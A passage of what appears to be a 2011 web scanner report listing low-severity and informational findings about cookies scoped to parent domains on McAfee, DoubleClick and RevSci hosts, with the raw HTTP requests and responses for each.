User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=2814750682866683; session=1305367992|1305367992; OAX=rcHW803OVbgACmEf

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 10:17:38 GMT
Server: Apache/2.0.52 (Red Hat)
Cache-Control: no-cache
Pragma: no-cache
P3P: CP="NOI DSP COR NID CUR OUR NOR"
Set-Cookie: id=2814750682866683; path=/; expires=Thu, 07-Jun-12 10:17:38 GMT; domain=.mookie1.com
Set-Cookie: session=1305367992|1305368258; path=/; domain=.mookie1.com
Content-Length: 35
Content-Type: image/gif

GIF87a.............,...........D..;

14.10. http://us.mcafee.com/root/basket.asp previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://us.mcafee.com
Path:	/root/basket.asp

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

lUsrCtxSession=%3CUserContext%3E%3CAffID%3E0%3C%2FAffID%3E%3C%2FUserContext%3E%0D%0A; domain=.mcafee.com; path=/
session%5Fdata=%3CSessionData%3E%3COrganicSearchtraffic%3E1%3C%2FOrganicSearchtraffic%3E%3Cwt%5Fsource%5Fcid%3E86873%3C%2Fwt%5Fsource%5Fcid%3E%3Cwt%5Fdestination%5Fcid%3E86873%3C%2Fwt%5Fdestination%5Fcid%3E%3C%2FSessionData%3E%0D%0A; domain=.mcafee.com; path=/
lBounceURL=http%3A%2F%2Fus%2Emcafee%2Ecom%2Froot%2Fbasket%2Easp%3Faffid%3D0%26langid%3D1%26cid%3D86873; domain=.mcafee.com; path=/
Locale=en%2Dus; expires=Mon, 14-May-2012 07:00:00 GMT; domain=.mcafee.com; path=/

The highlighted cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

POST /root/basket.asp?affid=0&langid=1&cid=86873 HTTP/1.1
Host: us.mcafee.com
Proxy-Connection: keep-alive
Referer: http://promos.mcafee.com/offer.aspx?id=266730
Cache-Control: max-age=0
Origin: http://promos.mcafee.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Content-Type: application/x-www-form-urlencoded
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vi=[CS]v1|26E73DAF051D3563-4000012900019997[CE]; session%5Fdata=%3CSessionData%3E%3COrganicSearchtraffic%3E1%3C%2FOrganicSearchtraffic%3E%3Cwt%5Fsource%5Fcid%3E86873%3C%2Fwt%5Fsource%5Fcid%3E%3Cwt%5Fdestination%5Fcid%3E86873%3C%2Fwt%5Fdestination%5Fcid%3E%3C%2FSessionData%3E%0D%0A; AffID=0; Locale=en%2Dus; lUsrCtxSession=%3CUserContext%3E%3CAffID%3E0%3C%2FAffID%3E%3C%2FUserContext%3E%0D%0A; campaignid=86873; lBounceURL=http%3A%2F%2Fus%2Emcafee%2Ecom%2Froot%2Foffer%2Easp%3Fid%3D266730%26cid%3D86873; langid=1; SiteID=1; ASPSESSIONIDSCBQQBBD=MFPLNKKBGHFMAMNANCBJDIKI
Content-Length: 202

BasketAction=Add&flow_id=0&BundleValue=284_284_284_284_284_284_284_284_284_284_284&selectedItem=1&item_1=%3CItem+price_id%3D%2721802%27+camp_id%3D%270%27+promo_id%3D%270%27+qty%3D%271%27%3E%3C%2FItem%
...[SNIP]...

Response

HTTP/1.1 302 Object moved
Date: Sat, 14 May 2011 12:54:36 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Location: https://home.mcafee.com/secure/cart/?offerId=266730&PkgQty=1
Content-Length: 185
Content-Type: text/html; Charset=iso-8859-1
Expires: Fri, 13 May 2011 12:54:36 GMT
Set-Cookie: langid=1; domain=.mcafee.com; path=/
Set-Cookie: lBounceURL=http%3A%2F%2Fus%2Emcafee%2Ecom%2Froot%2Fbasket%2Easp%3Faffid%3D0%26langid%3D1%26cid%3D86873; domain=.mcafee.com; path=/
Set-Cookie: lUsrCtxSession=%3CUserContext%3E%3CAffID%3E0%3C%2FAffID%3E%3C%2FUserContext%3E%0D%0A; domain=.mcafee.com; path=/
Set-Cookie: Locale=en%2Dus; expires=Mon, 14-May-2012 07:00:00 GMT; domain=.mcafee.com; path=/
Set-Cookie: AffID=0; domain=.mcafee.com; path=/
Set-Cookie: session%5Fdata=%3CSessionData%3E%3COrganicSearchtraffic%3E1%3C%2FOrganicSearchtraffic%3E%3Cwt%5Fsource%5Fcid%3E86873%3C%2Fwt%5Fsource%5Fcid%3E%3Cwt%5Fdestination%5Fcid%3E86873%3C%2Fwt%5Fdestination%5Fcid%3E%3C%2FSessionData%3E%0D%0A; domain=.mcafee.com; path=/
Set-Cookie: ASPSESSIONIDSQSTDDDB=ICNPMKKBFEKLBDEJHOFNPLFL; path=/
Cache-control: private

<head><title>Object moved</title></head>
<body><h1>Object Moved</h1>This object may be found <a HREF="https://home.mcafee.com/secure/cart/?offerId=266730&PkgQty=1">here</a>.</body>

14.11. http://us.mcafee.com/root/offer.asp previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://us.mcafee.com
Path:	/root/offer.asp

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

session%5Fdata=%3CSessionData%3E%3COrganicSearchtraffic%3E1%3C%2FOrganicSearchtraffic%3E%3Cwt%5Fsource%5Fcid%3E86873%3C%2Fwt%5Fsource%5Fcid%3E%3Cwt%5Fdestination%5Fcid%3E86873%3C%2Fwt%5Fdestination%5Fcid%3E%3C%2FSessionData%3E%0D%0A; domain=.mcafee.com; path=/
lUsrCtxSession=%3CUserContext%3E%3CAffID%3E0%3C%2FAffID%3E%3C%2FUserContext%3E%0D%0A; domain=.mcafee.com; path=/
Locale=en%2Dus; expires=Mon, 14-May-2012 07:00:00 GMT; domain=.mcafee.com; path=/
campaignid=86873; domain=.mcafee.com; path=/
lBounceURL=http%3A%2F%2Fus%2Emcafee%2Ecom%2Froot%2Foffer%2Easp%3Fid%3D266730%26cid%3D86873; domain=.mcafee.com; path=/

The highlighted cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /root/offer.asp?id=266730&cid=86873 HTTP/1.1
Host: us.mcafee.com
Proxy-Connection: keep-alive
Referer: http://www.siteadvisor.com/download/windows.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vi=[CS]v1|26E73DAF051D3563-4000012900019997[CE]

Response

HTTP/1.1 302 Object moved
Date: Sat, 14 May 2011 12:54:33 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Location: http://promos.mcafee.com/offer.aspx?id=266730
Content-Length: 166
Content-Type: text/html; Charset=iso-8859-1
Expires: Fri, 13 May 2011 12:54:33 GMT
Set-Cookie: session%5Fdata=%3CSessionData%3E%3COrganicSearchtraffic%3E1%3C%2FOrganicSearchtraffic%3E%3Cwt%5Fsource%5Fcid%3E86873%3C%2Fwt%5Fsource%5Fcid%3E%3Cwt%5Fdestination%5Fcid%3E86873%3C%2Fwt%5Fdestination%5Fcid%3E%3C%2FSessionData%3E%0D%0A; domain=.mcafee.com; path=/
Set-Cookie: AffID=0; domain=.mcafee.com; path=/
Set-Cookie: Locale=en%2Dus; expires=Mon, 14-May-2012 07:00:00 GMT; domain=.mcafee.com; path=/
Set-Cookie: lUsrCtxSession=%3CUserContext%3E%3CAffID%3E0%3C%2FAffID%3E%3C%2FUserContext%3E%0D%0A; domain=.mcafee.com; path=/
Set-Cookie: campaignid=86873; domain=.mcafee.com; path=/
Set-Cookie: lBounceURL=http%3A%2F%2Fus%2Emcafee%2Ecom%2Froot%2Foffer%2Easp%3Fid%3D266730%26cid%3D86873; domain=.mcafee.com; path=/
Set-Cookie: langid=1; domain=.mcafee.com; path=/
Set-Cookie: SiteID=1; domain=.mcafee.com; path=/
Set-Cookie: ASPSESSIONIDQQTSCBAD=EEHHNKKBEJKPNNHJMEJIFCFO; path=/
Cache-control: private

<head><title>Object moved</title></head>
<body><h1>Object Moved</h1>This object may be found <a HREF="http://promos.mcafee.com/offer.aspx?id=266730">here</a>.</body>

14.12. http://ad.doubleclick.net/activity previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/activity

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

test_cookie=CheckForPermission; path=/; domain=.doubleclick.net; expires=Sat, 14 May 2011 10:24:13 GMT

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /activity;src=1948992;type=wsjre849;cat=publi675;ord=347863952629.2682? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://online.wsj.com/home-page
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 302 Moved Temporarily
Content-Length: 0
Location: http://ad.doubleclick.net/activity;src=1948992;type=wsjre849;cat=publi675;ord=347863952629.2682?&_dc_ck=try
Set-Cookie: test_cookie=CheckForPermission; path=/; domain=.doubleclick.net; expires=Sat, 14 May 2011 10:24:13 GMT
P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR"
Date: Sat, 14 May 2011 10:09:13 GMT
Server: GFE/2.0
Content-Type: text/html

14.13. http://ad.doubleclick.net/activity previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/activity

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

id=220fa4a1190100cf||t=1305367760|et=730|cs=ozvzrdio; expires=Mon, 13-May-2013 10:09:20 GMT; path=/; domain=.doubleclick.net

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /activity;src=1948992;type=wsjre849;cat=publi675;ord=347863952629.2682?&_dc_ck=try HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://online.wsj.com/home-page
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: test_cookie=CheckForPermission

Response

HTTP/1.1 200 OK
P3P: policyref="http://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR"
Date: Sat, 14 May 2011 10:09:20 GMT
Pragma: no-cache
Expires: Fri, 01 Jan 1990 00:00:00 GMT
Cache-Control: no-cache, must-revalidate
Content-Type: image/gif
Set-Cookie: id=220fa4a1190100cf||t=1305367760|et=730|cs=ozvzrdio; expires=Mon, 13-May-2013 10:09:20 GMT; path=/; domain=.doubleclick.net
Set-Cookie: test_cookie=; domain=.doubleclick.net; path=/; Max-Age=0; expires=Mon, 21-July-2008 23:59:00 GMT
X-Content-Type-Options: nosniff
Server: cafe
Content-Length: 42
X-XSS-Protection: 1; mode=block

GIF89a.............!.......,...........D.;

14.14. http://ad.doubleclick.net/adi/interactive.wsj.com/weekend previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/interactive.wsj.com/weekend

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

test_cookie=CheckForPermission; path=/; domain=.doubleclick.net; expires=Sat, 14 May 2011 10:24:13 GMT

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /adi/interactive.wsj.com/weekend;u=;!category=;;mc=b2pfreezone;tile=1;sz=377x50;ord=6698669866986698; HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://online.wsj.com/home-page
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Set-Cookie: test_cookie=CheckForPermission; path=/; domain=.doubleclick.net; expires=Sat, 14 May 2011 10:24:13 GMT
P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR"
Date: Sat, 14 May 2011 10:09:13 GMT
Expires: Sat, 14 May 2011 10:09:13 GMT
Cache-Control: private
Content-Length: 1144

<head><title>Click Here</title><base href="http://ad.doubleclick.net"></head><body bgcolor="white"><img src="http://s0.2mdn.net/1952284/wknd_circ.jpg" width="377" height="50" border="0" usemap="#Mapfe
...[SNIP]...

14.15. http://ads.revsci.net/adserver/ako previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ads.revsci.net
Path:	/adserver/ako

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

rsiPus_lxBU="MLs3rN9osF9jICHSLgo5pRSTvJ6MCzfYkImKXmS18uM+t+aoa/3rLD3wbDBsYe61NFg2FvspznVg4dFqbw5Xw+7Ia3rTq/vDkqvPDPm6TVXYpufF88ECzC1G7bfBubKfBoUQKfBXueLY0GFmYf1k4UpMFIaGWWGitnJRIntFdyR1DgKiK9qkypYwwgnilhaTjXaMr1ya"; Version=1; Domain=.revsci.net; Max-Age=1009152000; Path=/
rsi_us_1000000="pUMd5U+g/xMULsTCq+k7bfIrtGPDru2pemhpLctIKvzhkSKV0nyII6ibME3mNVOFK2gTVhjO08GFxeIWlyNS9XhW4dujhzvFfcboLil/B0JWCZC2yrkxY/GHFdRiwGzveYLZ33NsbQrMpRKVhO8MlHWzAYxVbvialUI9SAdNA6me0xsb+qLPPZEL8NhIxFSgdTHwTMMfo+0w6JwjcScN/to+at6Y6daH9HB/cDZ/o98fEAj7dyBQuxvsKPheZE4ZRTsZ5GM46ku1NbcnEUP8TGo13HFUgnUboZPDNL99EmEl8hczU/Mg6UfgxLB3JdW0nNEDXDtqrO4n/za2I7jNWBI7idLQ4+81O/nmwUVNrHi6t/9nH8QWVeLAruahYnsRXz4vvRuXYkMx/Dvb/2CvFIcuq7V2hETZp5J6YCvE58dF/CvIx1uYrL21aQuP8RaU6qO+Ua6vbhWT2YQixZ/jrAHcq2CgBIQd08q0l67uLksQ+whsqIznkAgoGRX6mnIegPijZ3yv/KVDP4ZmT6T4mPaFKMLUVQbf9NlawNeqKKX5hic8YcGnPrgXbnH3i2TlLxueKaUhWHM82GbaBVaVdqnDERFVAc2VygEVNyTm3pY7+3Zio6XOGtVU0r2zR5gzec2M8ylZabivhYvbexEuDIhRyFWeC1do5P+w1inpP/3+o0hPp+JmToEdccB87yeyBOUX/icxvQZ6nvYFNcMHLfmtVyKT7C/TZTIjdUNFy7TQRsI="; Version=1; Domain=.revsci.net; Max-Age=1009152000; Path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

HTTP/1.1 302 Moved Temporarily
Server: Apache-Coyote/1.1
P3P: policyref="http://js.revsci.net/w3c/rsip3p.xml", CP="NON PSA PSD IVA IVD OTP SAM IND UNI PUR COM NAV INT DEM CNT STA PRE OTC HEA"
Cache-Control: no-cache
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Set-Cookie: rsiPus_lxBU="MLs3rN9osF9jICHSLgo5pRSTvJ6MCzfYkImKXmS18uM+t+aoa/3rLD3wbDBsYe61NFg2FvspznVg4dFqbw5Xw+7Ia3rTq/vDkqvPDPm6TVXYpufF88ECzC1G7bfBubKfBoUQKfBXueLY0GFmYf1k4UpMFIaGWWGitnJRIntFdyR1DgKiK9qkypYwwgnilhaTjXaMr1ya"; Version=1; Domain=.revsci.net; Max-Age=1009152000; Path=/
Set-Cookie: rsi_us_1000000="pUMd5U+g/xMULsTCq+k7bfIrtGPDru2pemhpLctIKvzhkSKV0nyII6ibME3mNVOFK2gTVhjO08GFxeIWlyNS9XhW4dujhzvFfcboLil/B0JWCZC2yrkxY/GHFdRiwGzveYLZ33NsbQrMpRKVhO8MlHWzAYxVbvialUI9SAdNA6me0xsb+qLPPZEL8NhIxFSgdTHwTMMfo+0w6JwjcScN/to+at6Y6daH9HB/cDZ/o98fEAj7dyBQuxvsKPheZE4ZRTsZ5GM46ku1NbcnEUP8TGo13HFUgnUboZPDNL99EmEl8hczU/Mg6UfgxLB3JdW0nNEDXDtqrO4n/za2I7jNWBI7idLQ4+81O/nmwUVNrHi6t/9nH8QWVeLAruahYnsRXz4vvRuXYkMx/Dvb/2CvFIcuq7V2hETZp5J6YCvE58dF/CvIx1uYrL21aQuP8RaU6qO+Ua6vbhWT2YQixZ/jrAHcq2CgBIQd08q0l67uLksQ+whsqIznkAgoGRX6mnIegPijZ3yv/KVDP4ZmT6T4mPaFKMLUVQbf9NlawNeqKKX5hic8YcGnPrgXbnH3i2TlLxueKaUhWHM82GbaBVaVdqnDERFVAc2VygEVNyTm3pY7+3Zio6XOGtVU0r2zR5gzec2M8ylZabivhYvbexEuDIhRyFWeC1do5P+w1inpP/3+o0hPp+JmToEdccB87yeyBOUX/icxvQZ6nvYFNcMHLfmtVyKT7C/TZTIjdUNFy7TQRsI="; Version=1; Domain=.revsci.net; Max-Age=1009152000; Path=/
Location: http://ad.yieldmanager.com/pixel?id=575639&t=2
Content-Length: 0
Date: Sat, 14 May 2011 10:15:42 GMT

14.16. http://ads.revsci.net/adserver/ako previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ads.revsci.net
Path:	/adserver/ako

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

rsiPus_v781="MLs3rE9rsF9nIDFwD3M7i+wbiZ6ajwvf8MSYXrx0Kiemb8Kl+RVsB6B3dRi5/D7t2K9EwE3JtaWpSRlJ/PR1l7ekt4P4xpxdUszP179Kw5euIauhERvdtOZCP7sRDT0WPBi3xxbsO6SAxHTpegxwTRv/WCZPJJ7vtZZzydHs1hlDgOgtwH9MVw4TKeciRUZlYP3OkkHM1WY2akAO"; Version=1; Domain=.revsci.net; Max-Age=1009152000; Path=/
rsi_us_1000000="pUMdJc2g/wMU1A3nO43AqZEO9TXBfSNuMTpCc3U9VKfB88KeFE8sQHMdBHyVYVk2MBtHyphI1d89vppu7+ETNPtsBTpCYz+ABsToLgv7FJ5d7HXtY/2BAO0lNxWr+2/fi4lIn6IYaaWHphdnDCHeoBon8SFh9+T2YWgKWpw5k3aOyc9VRy6cM836+lAJEf7HeNGC3y+albmDCYhFjXm6pPu8K1up235pgIU6/FioqL2DJ9ghidrqumGrB4RerG+7JILwZCKRO/UHiuwJ7VoMkBqEEHqS0NWHjhJgzYbnOdDpw1ZQf0IlCejyskC4TDxsclNnypwUWwG3LyvwufXJndeRyn9Pje5XT4P/OylUad+7dW1zRwUaAD4WppPQweIkywTQSi+jk03Zx9mSZdHgAexe9O4QzeFoh5dKxqTvJhoUa85z2Hscvb4MisLqCDKdHosKGeaftg4EZv+mVD9RzlcsQprft5KcyHRXXCTZ2afGJ8gTwIDXmq4V0eJMGyWOd15NlmmBVesIvDOmledBb51+UUyqVVaIX93X3LvxAQO6ibewU08ZvO6Sx3R4ci0wNog8ueIHlSyh6271M6KI1ZPBAwl4HO3okCe8Oxancynjc8PmizfI5sTWoLwj0WU/2l8XAhoPA6Jmh+db00CYcE2bG5U809QN+qktN98ZM9ad4NZsYx+cg9y2j+jRETArPApKGIhyh/lNO5eoFjrL2zNSQ0HxW+vzTtZZ+YV4yn0S7ARelgnH8KQ="; Version=1; Domain=.revsci.net; Max-Age=1009152000; Path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /adserver/ako?rsi_noads=1&rsi_pixel=1&rsi_account=81FF890715F2DC971C61B9EF71316E6E&rsi_site=4B79D8342E28850964F3F8156E7E66BA&rsi_event=254B2CDA70174134A2FB20B708ED4289 HTTP/1.1
Host: ads.revsci.net
Proxy-Connection: keep-alive
Referer: http://www.fins.com/Job-Interview-Tips
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: NETID01=f6600bc0a97556506df2daf333d9f1f4; udm_0=MLvv7iEOIS5n5S4sf9LIKM6Bpt3BQhwXLKhpumJAKH9ZohLvamWO+huyCocJXJDsRczd6FCC/ukv6Xpz1uzdB8jd3W3ILSjdYtnKq3F9jFyZqD377+Us3Nbw7cs1UpXwdejqHoMXde16Mzxvxei7KC+8NBsY8GM6zdRigHER7kUDTsulJ9IyAYcLvyqoyZkQZN5z/aEPrq5n9N0flh2HtuQC41Gxciq7dBDbJX43Xt+nPxvpxIe8OCCnhK5r9ANhaH8LDHQ5aMdNSJp7kYijGTihLVaWzIq5ufydYbNm9P66qBzXsYWmpLYHASVODs5MLGnqaWomJ4kcVVYuRCgplE/8t8hfOuSjORkUuX1twlOccQpK/83a1p6p9gD0Mn657YX8gBmi8+iaxuJ1uHrwDpYm9/xzIaPpzjNK3NRsH9kymE77A07UhIw2q6tBPVlAmPAo+E/4sNqVsTXMtLJrRfea6YQd80ALRcIt+FQ4/eHT1DPQo8qEvpq5YbGrPh1tfrFz62318KfxrC9Xe3bodpJLTOpoy6FPVvvvE/jbr2s6ubXR175Ye9eHk5CyuBojjk2prQ==; rsiPus_Sq60="MLs3rM9rsF9jIDGyCCr68+E43bKKIQzofbHKUycFuiMolVlcSfrsqkZ+Z6UThu5tZQgifX9CYnVFdkN0LtICJdxUgfTqk8dTU46grwhE8sqSLw67Xds37aqjtw/xs28qd4mC389YCTl2FjkvZEFlJR662CLdEvXK0EA2eiLvfOT0C68a513yCwd83ssE3yy0RUHQ"; rsi_us_1000000="pUMd5U+g/xMULsTCu+k7bfIrtGMDbzRzzkW+j0sg3sjUyWaep96tEenUjNvg1McP7XQGcbhvUsZr2/wICfep8r8+Z1kpCTaZGjhpzFNVVUPiKONPBFkYAGW1FsrY2w2QMBnKG+uiD1bqKnUIyR3U9TFhZxtDO1cs4s2/TMucN3ejUNU1Wq1K/DiYuTfSky3vqihuWgnkz7/CQIA7VGr1mKd7hwWPkd9c1Tt0BcoHHCccsWYKOLIDzaEtRhqSudfjxBL9kMEoxoE2el5fXBJWOSRHZ/ekF0yUoSseNFi8DODxgleUVzwtx1bvCh7bZqSdOcsgJfbBZZR27zA2YPew4FGSJeByimEoUpBrwXmT4AvuAhepAyWhS09/CA5FqJZQ7UlRvEJ4AdLI2bkKvjZAwk6jOcl0kOPr/CwI6YrtzHKdz9tE9WAyT6rK9jXvhI7Et50Wkios0oyp29KA+q2al3mMrASZ8QY6ubrqMrI4EwSmMfDPz7DamgfIJ1ayCN4Y/1G37QCHH8ygYbWm/FS2Ks4e3rGrWWEQn8+7u1nNfvs3nUbNc8FT7BDexz+ceGqhcRI/TGSipplJ+fxAgTUuQzxgeLHjbiWJh/I7gQRwhXmM6zNMJY4JAn/rO2O1vDhgb7mg0vmBVFeWw0KuNpKzKiLCBkUuky+WiE/9jHVlHSv6H9uGv7g1GjHJQSGyxwPjpUxfkTT8J/60Fwn61IisacYy3b3eWK/zFM/UbsgEkjM3MA=="; rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtlR8qmZ5EYm2QQMyGpObby6k1VtBuHkxtUJRAKjYPpgxBsJGyT/YmPwZWTFxu/fSGzXIpsZZc8j0XeTXtR368AQ==; rtc_9zEm=MLuB84kHAVhDF1LCdcKXDzQFlw1IZ0BdwohNunBFEGgdlg06eD02cW8HFwQqcTrykmd5

Response

HTTP/1.1 302 Moved Temporarily
Server: Apache-Coyote/1.1
P3P: policyref="http://js.revsci.net/w3c/rsip3p.xml", CP="NON PSA PSD IVA IVD OTP SAM IND UNI PUR COM NAV INT DEM CNT STA PRE OTC HEA"
Cache-Control: no-cache
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Set-Cookie: rsi_us_1000000=""; Domain=.revsci.net; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/adserver
Set-Cookie: rsiPus_Sq60=""; Domain=.revsci.net; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/adserver
Set-Cookie: rsi_us_1000000=""; Domain=.revsci.net; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: rsiPus_Sq60=""; Domain=.revsci.net; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: rsiPus_v781="MLs3rE9rsF9nIDFwD3M7i+wbiZ6ajwvf8MSYXrx0Kiemb8Kl+RVsB6B3dRi5/D7t2K9EwE3JtaWpSRlJ/PR1l7ekt4P4xpxdUszP179Kw5euIauhERvdtOZCP7sRDT0WPBi3xxbsO6SAxHTpegxwTRv/WCZPJJ7vtZZzydHs1hlDgOgtwH9MVw4TKeciRUZlYP3OkkHM1WY2akAO"; Version=1; Domain=.revsci.net; Max-Age=1009152000; Path=/
Set-Cookie: rsi_us_1000000="pUMdJc2g/wMU1A3nO43AqZEO9TXBfSNuMTpCc3U9VKfB88KeFE8sQHMdBHyVYVk2MBtHyphI1d89vppu7+ETNPtsBTpCYz+ABsToLgv7FJ5d7HXtY/2BAO0lNxWr+2/fi4lIn6IYaaWHphdnDCHeoBon8SFh9+T2YWgKWpw5k3aOyc9VRy6cM836+lAJEf7HeNGC3y+albmDCYhFjXm6pPu8K1up235pgIU6/FioqL2DJ9ghidrqumGrB4RerG+7JILwZCKRO/UHiuwJ7VoMkBqEEHqS0NWHjhJgzYbnOdDpw1ZQf0IlCejyskC4TDxsclNnypwUWwG3LyvwufXJndeRyn9Pje5XT4P/OylUad+7dW1zRwUaAD4WppPQweIkywTQSi+jk03Zx9mSZdHgAexe9O4QzeFoh5dKxqTvJhoUa85z2Hscvb4MisLqCDKdHosKGeaftg4EZv+mVD9RzlcsQprft5KcyHRXXCTZ2afGJ8gTwIDXmq4V0eJMGyWOd15NlmmBVesIvDOmledBb51+UUyqVVaIX93X3LvxAQO6ibewU08ZvO6Sx3R4ci0wNog8ueIHlSyh6271M6KI1ZPBAwl4HO3okCe8Oxancynjc8PmizfI5sTWoLwj0WU/2l8XAhoPA6Jmh+db00CYcE2bG5U809QN+qktN98ZM9ad4NZsYx+cg9y2j+jRETArPApKGIhyh/lNO5eoFjrL2zNSQ0HxW+vzTtZZ+YV4yn0S7ARelgnH8KQ="; Version=1; Domain=.revsci.net; Max-Age=1009152000; Path=/
Location: http://ad.yieldmanager.com/pixel?id=575639&t=2
Content-Length: 0
Date: Sat, 14 May 2011 10:20:16 GMT

14.17. http://ads.revsci.net/adserver/ako previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ads.revsci.net
Path:	/adserver/ako

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

rsiPus_-wAA="MLs3rE9rsF9nIDFgVbsxTUeBqbq+q3/4pBwYHDWGKVMsYcYNvuT3GGFCbydzxZtZdBcK/u1QXh2RAX9NdlbHtkt0dNY2cJqPqIWdptqs3944GZG1wCDw0lGVw01n6FHh24rSXWAHI25V0bg+U2hq4mH9Y8+twEF/rTaIuhgkE8dy1dSheS1qAUheQSbhzNVIUeUFlgvS3mgiHEDy"; Version=1; Domain=.revsci.net; Max-Age=1009152000; Path=/
